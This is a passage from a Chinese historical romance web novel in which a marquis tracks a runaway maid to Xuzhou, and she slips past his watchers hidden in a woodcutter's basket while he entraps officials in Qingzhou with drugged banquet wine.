其他丫鬟的卖身契。” “卖身契?”裴铉问道。 “属下问了船夫,侯府的人经常去叙州采买食材,一来二去大家都熟了,所以常常便宜行事。” 黑暗中的裴铉笑出声,他作为侯府的主子都不知道这件事,她宁泠倒是一清二楚,会转空子。 “去查。” “是。”林韦德想观察下侯爷的情绪,但黑夜将他遮得严严实实。 只能从他流露的言语中,察觉出几分颓败与孤独。 第二日一早,林韦德就将事情查得清清楚楚。 宁泠是从孙婆婆几人那得了船次和卖身契可当路引的消息,接着林韦德检查书房的确少了张丫鬟的卖身契。 裴铉静静听着下方林韦德说话。 先是从花楼回来的假意顺从隐藏宅子,摇骰子时撒娇打探要铜钱,以及别有用心挑选口脂,忧心忡忡的制香,甚至于还以色相诱去书房偷卖身契,最后再偷梁换柱逃之夭夭。 真是一出好算计,甜言蜜语让他一辈子都不能忘记她。 结果从一开始她就没想过留下。 裴铉脸上的笑容又恢复了,看出去却骇人可怕。 他的眼眸里有血色,估计又是一夜未睡。 “派人去叙州查,所有宅子路引都要查清楚。”裴铉吩咐道。 宁泠知道叙州不安全,必定会再次想办法离开。 “是。”林韦德又问道:“关于宅子的茶博士,房牙子怎么处理?” “丢给官府,让他们先整治下。”裴铉眼眸冷厉。 一群酒囊饭袋,什么都干不好。 叙州,清晨的宁泠刚洗漱完,就听见门外传来敲门声。 她连忙小跑过去开门,一位上了年纪的老爷爷背着一堆柴火。 “公子,你们的柴火。”他被重物压到脸色发红,沟壑的脸上布满汗珠,“灶房在哪?我给你们放好。” 宁泠赶紧引路,老爷爷将背篼里的柴火挨着墙角一根根整齐码好,起身时似乎脚麻了,身躯晃了晃。 宁泠将刚烧好的热水给他倒了一杯:“老爷爷坐着喝杯热水,休息会吧。” 老爷爷似乎受宠若惊,接过白瓷水杯连连道谢:“谢谢你啊。” “这些柴也是你一个人砍得吗?”宁泠指着柴火问道。 老爷爷坐着灶房的烧火凳上,摇摇头:“我这个年纪那里砍得动,都是我儿子砍的,我负责送柴。” 老爷爷休息了一会,见时间差不多告辞离开。 宁泠将刚早上刚蒸好的馒头包了一个送他:“路上饿了可以吃。” “谢谢啊。”老爷爷接过馒头。 老爷爷出门的时候,遇见刚好来灶房拿早饭的孟亦知。 他皱着眉头等老爷爷走后,对宁泠说道:“以后不要与他们接触过多,免得沾染了俗气。” 接着他目光一扫,对着老爷爷喝过的茶杯道:“这个杯子等会扔了吧。” 说完一堆话后,他见宁泠一言不发。 宁泠忽地知道那日饭馆相见,总觉得他变了的原因。 以前他们都是小镇上老实本分的人,没什么大本事,靠勤劳吃饭。 而他如今是秀才,是读书人了,带着点和裴铉相同的傲气。 他们不在意,甚至于看不起地位低下的人。 孟亦知见她脸色不对,慌忙解释道:“我不是说你做错了,只是担心你心思单纯被粗鄙之人骗了,银钱两讫,咱们用不着对他们客气。” 他好心为自己着想,宁泠也不好给冷脸:“好,我知道了。” 反正用不了多久她就会他分道扬镳。 见她肯搭理自己,孟亦知说道:“待会我去找找我几个好友,看看能不能想办法弄张路引。” 他是个秀才,身边朋友亦有些是官员子弟,有点门路。 等孟亦知出门后,宁泠数了数自己的铜板。 已经基本快用完。 路上花销,入住时她还给了孟亦知一个月的房钱。 他能冒着风险帮她,她已十分感激。 实在没脸皮白白蹭吃蹭喝,饭菜茶火都是两人分摊的。 宁泠将金瓜子拿了些出来,在院子里找了块大石头,打算将它们砸扁。 抱着石头砸了会,宁泠气喘吁吁。 但实心的黄金很难变形,她捡起来一看,表面坑坑洼洼了。 宁泠揣了五颗表面破损的金瓜子出门了。 她找了一家典当行,矮矮的台阶人站在上面,刚好面对着一个小小的窗口。 宁泠站在上面,先将一颗金瓜子放进去。 里面传来中年男子的声音:“哪儿来的?” 当铺可不收赃货和来路不明的东西。 宁泠看不见他的脸,只能感觉他的视线在打量她。 她回答:“过年贵人赏的。” 刚过完年不久,富豪权贵之家爱用金豆子类赏人。 “表面为什么会成这样?”他继续问道。 “要是上好的金瓜子能轮到我们这些人,哪里还需要典当?”宁泠酸溜溜回答。 掌柜的没说话了。 是这个理,能被打赏金瓜子的人,有几个需要来置换碎银子。 估计是捡漏,别人剩下不要的给他。 “有几颗?”他估计她也没多少。 宁泠到叙州后,特意托孟亦知帮她买了两套普通青衫。 她穿上男装看起来身材矮小,又生的白净。 眉目谦恭卑微些,像是读书人身边的小厮或者书童。 宁泠:“你先说一颗能换多少银子?” 她此时的声线像是正处于换声期的青年。 “一颗一两银子。”掌柜见他脸上不信,解释道:“金瓜子也有大小之分,你这金瓜子只有一钱,值不了多少钱。” 宁泠虽然有更大的,但是她不敢拿出来。 “也忒低了。”她答道。 掌柜的继续说道:“若是你多几颗,我就再加点银子。” 一颗金瓜子他懒得多费口舌。 宁泠将剩下四颗都拿出来,放在托盘上。 “六两银子。”掌柜的答道。 “七两。”宁泠态度坚决,“你若不肯,我就去别家了。” 掌柜略微沉思,同意成交了。 卖了金瓜子后,宁泠揣着兜里的七两银子,去菜市场买菜。 她的厨艺很不好,勉强能弄熟吃而已。 所以宁泠买了些简单的蔬菜,一坨猪肉。 打算晚上检查炒个菜,烧点汤就成。 晚上时候,孟亦知回来了。 听见宁泠正在灶房忙碌,他闻见味道不对劲。 一股烧糊的味道围绕在院子里。他火急火燎地进了灶房,定睛一看锅里燃着大火,赶紧帮忙盖好锅盖。 “还是我来吧。”孟亦知无奈说道。 宁泠面露尴尬,只好再一旁帮忙。 后来孟亦知一副欲言又止的表情,终于还是在宁泠帮忙切菜时说出口:“宁妹妹,作为女子,这些手艺你还是该用心练练。” 以后嫁为人妇,连这些都不会怎行? 宁泠尴尬地笑笑。 小时候被爹娘宠坏了,又来去族亲家没多久就当拖油瓶卖了。 人牙子会管饭,去了侯府她最初也是洒扫的活计。 吃饭期间,宁泠惦记路引的事情,眼眸期待问道:“可有消息?” “还有这么快。”孟亦知摇摇头,又继续说道:“你放心,他们不行,我还有其他好友。” “不方便就算了。”宁泠摇摇头。 她可以再想其他办法,她不想孟亦知为她欠下太多人情了。 “宁妹妹,当初没有救下你,已经很愧对伯父伯母。幸好如今我有了补救的机会,无论那人有多大权势,多高的地位,我也豁出命帮你。”孟亦知面色郑重。 宁泠脸上浮现出感动,眼里的泪花几乎要掉落到碗里。 她声音哽咽道:“谢谢你。” 侯府内,林韦德看着飞鸽传信来的消息,眉头紧皱。 第46章 第46章【VIP】 “侯爷,暂时还没有消息。”林韦德说道。 宅子排查最耗时间,相关路引正在四处核实。 裴铉没回话,把 玩着宁泠留下的香囊。 里面助眠的香料已经被处理了。 “去把珍珠叫来。”裴铉修长的指尖摩挲着上面的刺绣纹案。 “是。” 珍珠被带来后,惶惶不安。 她也没想到宁泠突然就跑了。 “上面的图案是谁绣的?”裴铉指着香囊。 珍珠愣了下,没想到他突然会问这个问题。 珍珠马上答道:“是姐姐亲自绣的。” 当时宁泠一副提起侯爷就甜蜜蜜的模样,又是刺绣,又是制香,结果走得那么干脆。 裴铉看了看香囊,针脚马虎。 回来定让她用心绣个更好的。 “侯爷,皇上有请。”林韦德进来小声说道。 裴铉点点头。 皇宫内,建漆荷花纹的香炉缓缓升起白色的香烟。 裴铉多瞧了一眼。 宣帝和裴铉各执黑白棋子在上好的棋盘上纵横。 “堂兄最近憔悴了。”宣帝笑吟吟地看了眼他。 裴铉盯着棋盘:“皇上小心了。” “听闻堂兄正在寻人。”宣帝慢悠悠地落了一子,“可需朕派人去寻?” 裴铉找宁泠不曾瞒着宣帝,这种事情他相信宣帝乐见其成。 一个有些许瑕疵污点的臣子,可比完美无瑕又足智多谋的下属令人放心的多。 “不劳皇上费心,微臣有把握。”裴铉胜券在握地笑笑。 她能跑,是他给了她太多机会。 这次他要堵死她所有退路,让她从此永远和他捆绑。 “青州的账查出来了。”宣帝脸上的笑淡了些,“但青州官商勾结,沆然一气,想要动他们有点难。” “微臣愿意为皇上分忧。”裴铉知他意思。 “甚好。” 裴铉回了侯府后,去了宁泠居住的偏房。 她的东西不多,似乎从没把这真正的精心布置过。 只是一个短暂的落脚点。 宁泠跑了这几天,没人敢动她的东西。 裴铉进屋就看见他精心为她挑选的玉镯、耳珰等随意放在桌子上。 硬木嵌珠梳妆台上的几盒口脂未曾开封。 旁边装金瓜子等物的盒子倒是空空荡荡。 裴铉冷漠地笑笑,将那对玉镯揣入怀里。 对外面候着的林韦德说:“让张川去叙州首先查宅子路引。接着注意留心典当黄金的人,她身上的银钱支撑不了多久。你跟我去青州。” “是。” 五天后,裴铉带着林韦德及其侍卫抵达青州。 这里地广人稀,豪强大户众多,是块硬骨头。 有账本罪证是一回事,真正能绳之以法又是一回事。 宣帝新登基,自然不敢大动作,担心引得众人口诛笔伐。 路上裴铉就派人查清楚了,青州的大势力共分为三股。 一股为官府郡守为首,一股为柳家世家大族根深蒂固,另一股则是商富之家。 一介商贾本来是不配成如此气候的,但是背后应该另有人扶持。 至于扶持之人不难猜测,是他的好叔父忠国公。 青州郡守行事小心,知道此事是新帝与忠国公的较量,不会轻易插手。 契机便只有柳家。 裴铉携礼上门拜访,第一次未见。 间隔一天,裴铉又上门拜访,柳家依旧端着架子不肯见面。 裴铉也不是仍由拿捏之人,眼眸一扫林韦德。 林韦德抽出大刀,将一群人震慑住,无人敢拦门。 现任宗子很快得了消息赶来,他大约花甲之年,怒喝出声:“你是何人?敢闯我柳家?” “晋阳侯裴铉。”裴铉自报家门,面带微笑。 老狐狸装什么,第一天拜访他就递了拜帖。 宗子抚摸着花白的胡须,歉意一笑:“原来是小侯爷啊,有失远迎啊。” “前儿才递了拜帖。”裴铉不留情面地戳破,“难道堂堂宗子竟不认字?” 他话说得很是刻薄。 宗子脸上一边,还是强忍怒气说道:“估计是门房的人做事出了岔子,失敬了。” 裴铉没再得理不饶人:“竟然如此,本侯来讨杯茶水喝,你不介意吧?” “快请。”宗子被奚落一番,还是打碎牙吞进肚子。 柳家的大厅挂满了历代留下的书画,看起来倒是个纯正的读书人家。 丫鬟们捧上两杯上好的大红袍茶水,便恭敬离开。 “侯爷尝尝,这是新茶。”宗子笑道。 裴铉示意林韦德递上礼盒:“这是准备的礼物。” 林韦德将礼盒放在宗子面前,接着打开盒子,里面是和田玉异兽形砚滴。 模样精致,雕刻手艺极佳。 和田玉、异心。 宗子的脸色却变了一瞬,又迅速恢复。 “侯爷如此破费,这礼柳家不敢要。” 裴铉不屑地上下打量一番,漫不经心:“你确定不要?” 宗子依旧咬着牙拒绝了此礼。 裴铉也不是什么好耐心之人,懒得和他多说,带着林韦德起身就走。 宗子眼眸闪过一丝震惊,没想到裴铉这么快就放弃了,他还以为裴铉会软磨硬泡。 马车内,林韦德看着闭目养神的主子问道:“侯爷就这么算了?” 裴铉睁开眼有点不耐烦:“宗子不愿意,我能有什么办法?难不成你有什么好办法?” 林韦德尴尬地摸摸鼻子,侯爷都没法子,他能有什么办法。 又听见裴铉浑不在意地笑笑:“不过宗子不愿意,有的是人愿意。” “侯爷的意思找柳家其他人?”林韦德思考后问道。 “青州势力三足鼎立,难不成他柳家就能上下一心。”裴铉轻蔑地嘴角上扬,“宗子之位,想取而代之的人多得如过江之鲫。” “属下明白了,立刻寻人去办。”林韦德赞同地点点头。 裴铉把玩着腰间挂坠着的白云仙鹤香囊,区区一个柳氏还以为闭门不出,就能不卷入漩涡,平安无事了? 两不相帮,听起来是明哲保身了。 可这条道理,是在能够独善其身的情况下才能实施。 他裴铉大张旗鼓登了柳家门,送了重礼。 只要有一个人柳家人跳出来,谁还信柳家不愿意搅合这件事。 几日后夜晚繁星点点坠于夜空,此时春季拂来的微风带着点暖意。 李郡守推开书房的大门,关上门后一个人慢步走在烛台后,欲要点上烛火。 却倏地背影僵住,厉声道:“是谁?” 坐在红漆木座椅上裴铉缓缓笑出声:“李郡守,好久不见。” 未点烛火,单凭撒下的点点银灰只能朦胧地看见他慵懒散漫的身姿。 裴铉一行人入青州,不可能瞒得过一州郡守。 “小侯爷。”李郡守笑着回答,“好端端地怎么晚上来寻我?” “白日来,恐怕李郡守视本侯如洪水猛兽,避之不及。”裴铉嘴角带笑,却眼眸犀利地盯着他。 李郡守装傻:“下官定会高高兴兴相迎。” “李郡守的生辰快到了,本侯提前来祝贺,想必你很是欢喜。”裴铉无趣地把玩着李郡守书案上的印章,“李郡守的生辰宴定要大办才行。” 后半句意有所指,李郡守眉头紧皱。 显然不想参与两派之争。 “新帝没登基之前,他忠国公都爬不上那个位置。”裴铉继续说道:“你凭什么认为现在他还能爬上去?” 李郡守依旧没说话,先帝无子,新帝是过继称帝。 如今新帝尚无子嗣,就是有子嗣也年纪尚浅。 有朝一日一命呜呼,皇位可又轮到忠国公身上了。 “下官也想为皇上分忧解难,可青州城不是下官一个人说了算的。”李郡守开始打马虎眼。 “可你李郡守举办生辰宴,整个青州城有头有脸的谁敢不来?”裴铉慢悠悠继续说道。 “下官向来孑然一人,无故邀请众人恐怕引人生疑。”李郡守推辞。 裴铉的意图很明显,用他的名义举报生辰宴,将人一网打尽。 省时省心,而且动作小且迅速。 裴铉凉悠悠开口:“不要这顶乌纱帽了?上贡的和田玉数量对不 上,你应该睁只眼闭只眼很久了。但如今已彻查下来,还不戴罪立功?” 李郡守苦笑一声,乌纱帽固然重要,但也是在能保住小命的情况下。 裴铉等久了不耐烦了,长腿交叠搁在他书案上:“明给你说了,你一家老小都被圣上盯上了,你自己选。” 语气里满满的威胁,若是不肯帮新帝,他的家人就危险了。 李郡守面色震惊,嘴唇哆嗦。 沉默片刻后他声音艰涩开口:“我办。” 裴铉轻啧一声,他以理服人说的口干舌燥,最后还是得靠手段震慑。 人呐,有了更糟糕的选项,就会义无反顾地选择上一个还不能接受的。 不知道宁泠是不是也这样选? “三日后,就静待李郡守的好消息了,你的府兵一并借用了。”裴铉起身离开。 柳家不过是他对外的幌子,地头蛇还是有地头蛇的作用。 柳家已然倒伏新帝,谁能忍住诱惑不去降服郡守呢? 不过这李郡守也靠不住。 这边事情刚办成,裴铉的脚步轻快了几步。 林韦德又传来好消息,在叙州找到宁泠了。 “主要通过路引和金瓜子排查确认。”林韦德板着脸回答。 裴铉带笑的脸上有了几分好奇:“那她躲在那歇脚?” 花楼、酒楼、客栈、宅子他可都派人清查了。 林韦德脖子往后缩了点:“在叙州找到了孟亦知,宁姑娘与他同住一个院子。院子是去年就租下来了的,房契户籍对得上所以没查出来。” 裴铉的眉头紧皱:“孟亦知?” 林韦德木着来脸回答:“就是宁姑娘的邻居孟氏。” 裴铉脸上的笑意迅速不翼而飞:“原来是和老相好跑了,野鸳鸯双宿双飞。” “依属下看似乎只是巧合遇见。”林韦德好心为宁泠辩解,“孟氏早就来了叙州在附近求学,也是在近日为宁姑娘弄路引才被查出来的。” “宁泠典当了金瓜子?”裴铉眼眸微眯,压迫感十足。 林韦德点点头:“她有心处理过,金瓜子表面破损,且只典卖了五钱。也是结合路引才能确认的。” 不然仅凭典卖那点黄金,很难被查出来。 也是孟亦知蠢,大大咧咧去找人帮忙,说话含糊其辞。 官场的那个不是人精,瞬间就发现不对劲了。 裴铉被气笑了,宁泠总有办法惹怒他。 他巴巴送她的金瓜子,她补贴给蠢货用。 “派张川盯紧,三日后我忙完此事,马上去叙州。”裴铉沉着脸说道。 “是。”林韦德没想到自家主子,竟能按捺住脾气亲自去抓人。 还以为他会立马派人将宁泠绑了来青州。 叙州宁泠面色忧愁地看着院门,孟大哥三天两头出门。 她总觉得不是办法,想走可孟大哥又劝她路引马上要办下来了。 有路引当然更加安全,可这件事的期限已经超过了宁泠的预估。 又是一夜晚上,宁泠看着眼前还带着的烛火。 她揉了揉困倦的眼睛,孟大哥还没回来。 倏地她听见外面传来马车轮子碾压石子的声音。 接着又听见孟大哥醉醺醺的声音:“开门。” 宁泠立刻从榻上起身,穿好鞋子去开门。 院门一开,一股浓烈的酒味瞬间窜了过来。 宁泠不适地紧皱眉头,然后瞧见孟大哥双眼发红,醉醺醺地靠在墙上。 “孟大哥快进来。”宁泠轻轻唤他。 孟亦知喝得烂醉如泥,脑袋混沌一片,根本听不见宁泠的声音。 宁泠没办法,担心他睡在外面着凉。 只好拉着他的手臂往里走,那知他站立不稳,整个身形倒了下来。 宁泠只能揽着他的肩膀,一点点将人挪进屋子。 看着酩酊大醉的他,宁泠去灶房弄了碗醒酒茶。 将他努力唤醒,让他迷迷糊糊间喝了几口,为他掖好被角。 接着她回了自己屋,熄灯睡觉。 最迟明日,不能再等了。 殊不知一道院墙的人影,已将刚刚发生的一幕记得清清楚楚,马上传信出去。 第二日,孟亦知睡得晌午才醒,头痛欲裂。 他将房屋里水壶里的水喝完后,提着水壶去灶房。 看见宁泠坐在外面晒太阳,金黄璀璨的阳光碎影洒在她脸上。 眉目精致,皮肤白皙,在光晕的照耀下美的夺人。 纵使一身儒袍,也是清秀隽丽,气质如华。 他不由地一瞬间看痴了。 宁泠见他出来打招呼:“孟大哥睡醒了?” “醒了。”孟亦知不知为何脸有点红。 “路引的人可有眉目?”宁泠的眼眸里多了几分急躁。 “放心,近来我日日与官府的公子们把酒言欢,不出三天就能拿到了。”孟亦知自信满满。 宁泠迟疑问道:“此事会不会很快泄露?” 官府的人都知道了,裴铉查起来岂不是很容易? “读书人一诺千金,他们肯帮忙,我们就不能以小人之心待人。”孟亦知说话语气重了几分。 宁泠点点头,都是孟大哥的好友,应该不至于这么快泄露消息。 而且孟大哥这些天为了她的事情,没少出去应酬,自己不该胡乱质疑。 翌日一早,宁泠照旧领着菜篮子去准备买菜。 却发现对面竟然有了一家小摊贩,在卖包子。摊主手上沾着面粉,蒸笼里是热呼呼的白面包子。 宁泠眉头轻皱,这儿附近可没什么摊贩。 孟大哥的宅子紧靠着菜市场,那儿人流更多,生意更好。 她神色恢复,上前买了几个包子,接着去菜市场买菜肉。 中午时宁泠将那碟包子盛好,请孟亦知尝尝。 “孟大哥尝尝,这可是叙州城内地道的做法?”宁泠问道。 孟亦知尝了一个:“手艺很一般,不过包子馅的确是叙州城的老手法。” 宁泠脸色冷了下来,若说是个外地人,人生地不熟做生意,不会选位置还情有可原。 可即是叙州的老人儿,连她都知道菜市附近摊贩最多,生意最好。 可他偏偏摆在了宁泠居住的宅院门口。 “怎么了?”孟亦知见她神情不对。 宁泠语气艰难说道:“我们可能已经被盯上了。这家摊贩像是个盯梢的。” 孟亦知脸色一边,连忙想起身出门查看。 宁泠拉住了他,视线在周围扫视一圈:“估计周围还有人盯着咱们,切勿轻举妄动。” 宁泠压低嗓音:“孟大哥的小厮是不是快回来了?” 孟亦知点头,宁泠靠近他私语。 孟亦知沉着脸点头,两人说话的声音很小,没有惊动探子。 二人接着又若无其事的吃饭。 李郡守的生辰宴会如约在郡守府举办,张灯结彩,欢颜笑语热闹非凡。 以张家为首的富商轮流向李郡守敬酒祝贺。 李郡守面带笑意饮下。 原本是言笑晏晏的宴会,一位富豪饮酒后却忽然倒地。 接着众多富商纷纷倒地,身子软弱无力,神志不受影响。 众人哗然,面色震惊地望着李郡守。 李郡守也万万没有想到会有这出变故,刚想安抚众人。 接着他自己也身子瘫软,倒在地上。 林韦德带人破门而入,带着手下将早已盯好的人捆得严严实实。 裴铉慢悠悠跟着进来,修长的指尖揭开酒壶,低头闻了下。 他满意地点点头:“看来效果不错。” 李郡守躺在地上质问道:“裴铉,你我早有约定,为何临时变卦。” “告诉你一个好消息。”裴铉闲庭散步地坐在他的主位上,“你家人平安无事,圣上没想过动他们。” 新帝要有这能耐,他裴铉也不用跋山涉水来青州了。 李郡守脸上的怒意淡了些,不忿地看来裴铉一眼。 “但还有坏消息。”裴铉饶有兴致看着他,“你这乌纱帽保不住了。” 李郡守勃然大怒,他听从裴铉命令行事,他竟翻脸不认人。 “李大人。”裴铉腔调慢悠悠,“拿着你全家人头威胁才肯为皇上做事,他敢用你吗?” 林韦德数了数人数:“侯爷,少了一个。” 裴铉面色不善,他不喜欢猎物逃脱掌心。 “应该是刚才借口出恭,趁机跑了。”林韦德回想,“派人寻了,没找到。” “一个蝼蚁,算了。”裴铉忙着早点处理完去叙州。 李郡守也被粗绳捆得严严实实,他气急败坏:“裴铉你毫无正人君子之风。” 裴铉高兴地笑出声:“那还是当小人爽快。” 他从始至终都不相信李郡守,先用柳家遮挡,李郡守再搅浑青州。 柳家扎根已久,郡守府里有探子是再正常不过的事情。 让林韦德再配合下药,比去蠢呼呼地信李郡守的府兵强得多。 他裴铉宁愿先当翻脸无情人,也不愿见李郡守反水害他。 林韦德带着一众侍卫将人绑上船,柳家新任宗子前来送行。 “裴兄,一路顺风。”新任宗子要年轻些,约莫四十来岁。五官端正,气质沉稳。 人情世故比上任宗子聪明得多,一口一个裴兄。 “柳兄放心,我定会向圣上禀明柳家功劳。”裴铉笑着回答。 “为圣上解忧是臣子的职责。”他话说的漂亮,又神情恳请道:“是有一件事请裴铉帮忙。” 虽然裴铉自诩是小人,翻脸无情。 可前脚柳家才帮了忙,后脚求他帮忙。他也不好太直接拒绝。 “柳兄请说。” 码头的风大,吹得人衣衫飘飘,发丝清扬。 宗子指了指身后的女子,才请求道:“小女外祖家在盛安城,老人常常念叨着她,我亦有心让小女前去尽孝,又担心她一人出行不稳妥。偏偏我如今事务繁忙,裴兄恰好带人回盛安,不然顺路捎带小女?” 裴铉眼眸微眯,凌厉逼人的视线直视柳宗子的瞳孔。 柳宗子依旧保持之前姿态,神情恳切。 “我船上都是些男子,柳姑娘恐怕不习惯。”裴铉缓缓道。 柳宗子还未说话,弱柳扶风的柳姑娘上前一步道:“我知侯爷辛苦办公,定会好好待在房内,不给侯爷添麻烦。” 柳姑娘身形较小,带着一顶帷帽,遮住了面容。 但声音清脆温柔,有带着点小鸟依人的脾性。 言尽于此,只是船上多几个人,裴铉也懒得争论。 对着柳家父女二人点头。 上船后船帆升起,裴铉负手而立望着幽深蓝色的河水。 裴铉问道:“盯好了?” “侯爷放心。”林韦德站在他旁边答道:“张川带人日夜不歇地守着。” 一天后,裴铉的船到了叙州,天色暗黑。 “侯爷是否先去洗漱休息一番?”林韦德问道。 近日来侯爷为了尽早结束青州的案子,通宵旦达。 刚忙完又马不停蹄地乘船赶往叙州。 “休息?”裴铉带笑的尾音上扬,“没将人逮住,我可是夜不能寐。” 孟亦知的宅子被人围得水泄不通,一只蚊子都插翅难逃。 林韦德,张川带着把守门口,裴铉轻笑一声,用手掸去衣角的灰。 他慢悠悠地进了门,脸却迅速阴沉了下来。 第47章 第47章【VIP】 简单狭小的宅子里,裴铉看着小厮和孟亦知两个大男人。 他将宅子内外搜寻一遍后,冷冰冰问道:“宁泠人呢?” 孟亦知万万没有想到宁泠口中纠缠的庶弟,会是眼前之人。 身形欣长挺拔,气质矜贵,容貌更是不可挑剔。 他气势凌厉,视线如刀子般扫过二人。 与孟亦知想象中猥琐,下流格格不入。 “敬酒不吃吃罚酒。”裴铉冷笑,准备让林韦德进来撬开他们的嘴。 却没想到孟亦知老老实实回答:“宁泠前两天就走了。” 看着像是个鹌鹑鸟似的,畏畏缩缩的孟亦知,裴铉暗暗皱眉。 宁泠什么眼光?难不成有什么眼疾? 横看竖看这男子也就只能算是五官齐全,勉强凑合。 “走?”裴铉不信,“藏在那?” 这么多人盯着她,如何能脱身? 时间回到那日午饭后,宁泠和孟亦知食不知味地吃完午饭。 下午宁泠又出门了,她粗略地环视周围。 斜对面的茶楼生意比以往好了许多,尤其是二楼露台处人多了。 那个地方视线开阔,但如今正值春季。 乍暖还寒时,今日连太阳都没出。丝丝冷风侵入身体,上面的人还怡然自得吹风喝茶。 宁泠暗自冷笑一声,十有八九是裴铉派来的人。 宁泠漫无目的的在路上闲逛,竖起耳朵仔细聆听身后的动静。 她没发现什么,应该是善于跟踪的练家子。 宁泠一路走至码头,码头处人头攒动。 各类买卖的摊贩众多,有些船只会临时靠岸采购些食材蔬菜。 还有许多脚夫蹲在路边休息,等有人寻他们干活。 买菜卖肉的摊贩也多,尤其是新鲜的渔货。 宁泠转了一圈,买了些小玩意。 在附近船行处租了马车回宅。 跟在身后的人擦擦冷汗对同伴说道:“她不会发现咱们了吧?” 同伴蹙眉,没说话。 他也不能确定。 “我瞧着不像,好像早上嫌菜市的菜不新鲜,来码头这边逛逛。”那人自说自话。 “反正咱们小心跟着就行。”同伴说道。 “上头吩咐,要好生盯着,不许轻举妄动。”那人小声问道:“那她真要跑,咱们咋办?” “反正不能真让她跑了,万不得已也只能暴露了。”同伴叹一口气。 真跑了他们可完蛋了。 第二日,天灰蒙蒙的,笼罩着一片白雾。宁泠早起洗漱好,开门见卖包子的摊贩还在。 她过去又买了四个包子,装若闲聊:“摊主可是本地人?” 暗探神色不变:“正是叙州人。” “怎么想起在这儿摆摊呢?”宁泠笑着道:“菜市那人多可热闹了。” 暗探心一颤,装作才知:“是吗?我以前在县里卖包子,对叙州城还真不熟悉。” “我日日在那买菜,当然知道了。”宁泠又说道:“不过昨儿我去码头瞧了,那里的鱼肉更便宜些。” 短短聊了几句,送柴的老爷爷赶着马车来了,从马车上背着装满木柴的背篓颤颤巍巍走下来。 宁泠见状赶紧回屋帮着码柴。 暗探惊出一身冷汗,她话里话外已有试探的意思。 他明日若不去菜市摆摊,岂不更引人怀疑。 灶屋里,宁泠温和地笑笑,低声笑道:“老爷爷,我有一笔买卖与你做,你肯不肯?” 老爷爷放木柴的手停下,浑浊的眼睛盯着宁泠。 “明日你也这个时辰来送柴。”宁泠指着背篼说道:“但让你儿子来,然后我躲入背篓里,他将我放置到你们马车上,送我到码头。” 好端端为何要躲在背篼里离开,似乎是为了躲藏什么? “你若肯帮忙,我给你五钱黄金,你可去当铺换成七两银子。”宁泠面色不惊,实际心里很是忐忑。 “公子,可是惹上了什么麻烦?”老爷爷声音沙哑问出声。 宁泠道:“其实也算不上大麻烦,大户人家的闺女看上了我,非逼着让我去入赘。我惹不起还躲不起吗?” 老爷爷似信未信,眼转子在宁泠身上打转。 想了下,他还是点点头。 他们这样的人家,七两银子够一家人两年的家用了。 初次见面,宁泠就好心让他喝水,还担心他干重活体力不支,包了一个馒头给他。 这样的人不可能是什么穷凶极恶的大坏人,而且又敢在外招摇买包子。 应该不是什么犯人,黑户之类。 他又偷偷打量了下宁泠,身形矮了些。 可长得还真不错,皮肤白皙好得很,清秀隽丽。 大户人家动心思,绑回去做女婿也正常。 “这两钱金瓜子是定金。”宁泠拿出两颗破旧的金瓜子,“后面三颗是事成之后给你。” 人心不足蛇吞象,宁泠不敢将身上的钱财外露太多。 老翁点点头背 上背篓离开了。 下午孟亦知的小厮回来了。 宁泠和孟亦知商量一番,拿走了小厮值钱置办好去淮州的路引,以及回叙州的路引。 裴铉出发的那日,宁泠按照着平日里的时辰起身洗漱。 洗漱后,推开门在外面溜达了一大圈。 卖包子的摊贩已经离开,正经做生意的人家,谁会因一位顾客的随口一句话,就挪走了。 心里有鬼,不得不走。 宁泠回了屋,等着送柴火的上门。 老翁没有食言,与平日相同的时间,这次来的是他的儿子。 “咦,怎么是你?”宁泠开了门,语气好奇问道。 樵夫声音粗哑:“我爹今日身体不适。” 宁泠点点头,让他进了门。 因为长年砍柴的缘故,樵夫肌肉发达,手臂很粗。 身形不算高,但体格强壮。 “大哥,这些木材都是在叙州城附近砍伐?”宁泠看着柴火,若有所思。 樵夫一边干活,一边回答:“叙州附近的田地都是贵人的,我们不能乱去砍伐。” 达官贵人都有许多位置好的田地私产,将整个城池周围瓜分干净。 “那你们在那砍柴?”宁泠接着问道。 樵夫苦笑一声:“都是县城周围,无主的山上砍的。” “那你们岂不是每天往返?”宁泠问道。 每日的柴火都是当天早上送来,早上往返进城肯定来不及。 “对嘞,吃了午饭,下午赶马回去装柴,早上一早进城。” “干这活还需要两人才成。”宁泠思索后回答,一人专心砍柴,一人送柴。 “家里谁没个闲人,半大的娃娃都能送。”樵夫笑笑。 灶房内两人交谈几句后,他将柴火拿出放好后,宁泠钻进了背篓。 幸好宁泠身形较小,背篓空间比较大,外表看不出异常。 等宁泠蹲坐下后,孟亦知在她头顶上盖了一块黑布:“到了后要给我写信。” “好。”这句话是宁泠叮嘱孟亦知说的。 现在她将自己人身安全完全托付给了陌生人。 这樵夫要是将她背去买了,她毫无反抗之力。 害人之心不可有,防人之心不可无。 宁泠希望这话至少能震慑一下樵夫。 天色未曾大亮,还有朦胧不清的雾气,使得可见度明显变低。 男子孔武有力,背着宁泠出门,脚步轻快。 卖包子的摊贩扯了,探子不敢靠得太近了,怕惹起宁泠怀疑。他们远远看着与往常一般。 雾蒙蒙一片,只看见樵夫背着背篓的身影。 将装着宁泠的背篓放至马车上后,他开始往下一回人家送柴。 直至将这条街道的柴火送完,他才驱使马儿加速赶往码头。 到了码头,宁泠脸上有了点笑意,按照约定将金瓜子付清。 昨儿她事先来这踩了点,孟大哥小厮的路引是去淮州。 她已弄清楚船在那,在码头如鱼得水般钻进了船。 速度很快,旁人估计都还没看清楚。 其实孟大哥的小厮与她长得并不算像,宁泠别无他法,只能赌一把。 幸好或许因为早上光线不好,又因为宁泠特意将肤色抹黑了些。 穿上一身小厮的青衣,倒是顺利浑水摸鱼上船。 上了船,宁泠心里的警惕也没有松懈下来。 裴铉的人盯上了她,裴铉本人应该也会很快来。 她已经叮嘱孟大哥,将她怎么前往淮州的过程如实告知,不说必定会被严刑拷打,说出实情后,裴铉忙着追捕她,无暇顾及他们。 至于到了淮州的打算,宁泠未曾透露一字与他们。 裴铉很快就会追踪她到淮州的行踪。 她怎么神不知鬼不觉离开淮州,躲避他接下来的追踪才是关键。 宁泠坐在船舱,望着一望无际,河水滔滔的两岸。 既然水路躲不了,她就走陆路。 既然州城被严防死守,她就去小县城。 这还是她卖包子时,摊主说得话让她灵机一动。 裴铉刚上船赶往叙州时,宁泠恰好在淮州下了船。 下船后,她看见不少小孩子在码头跑着玩,身上衣衫或多或少都打了不少补丁。 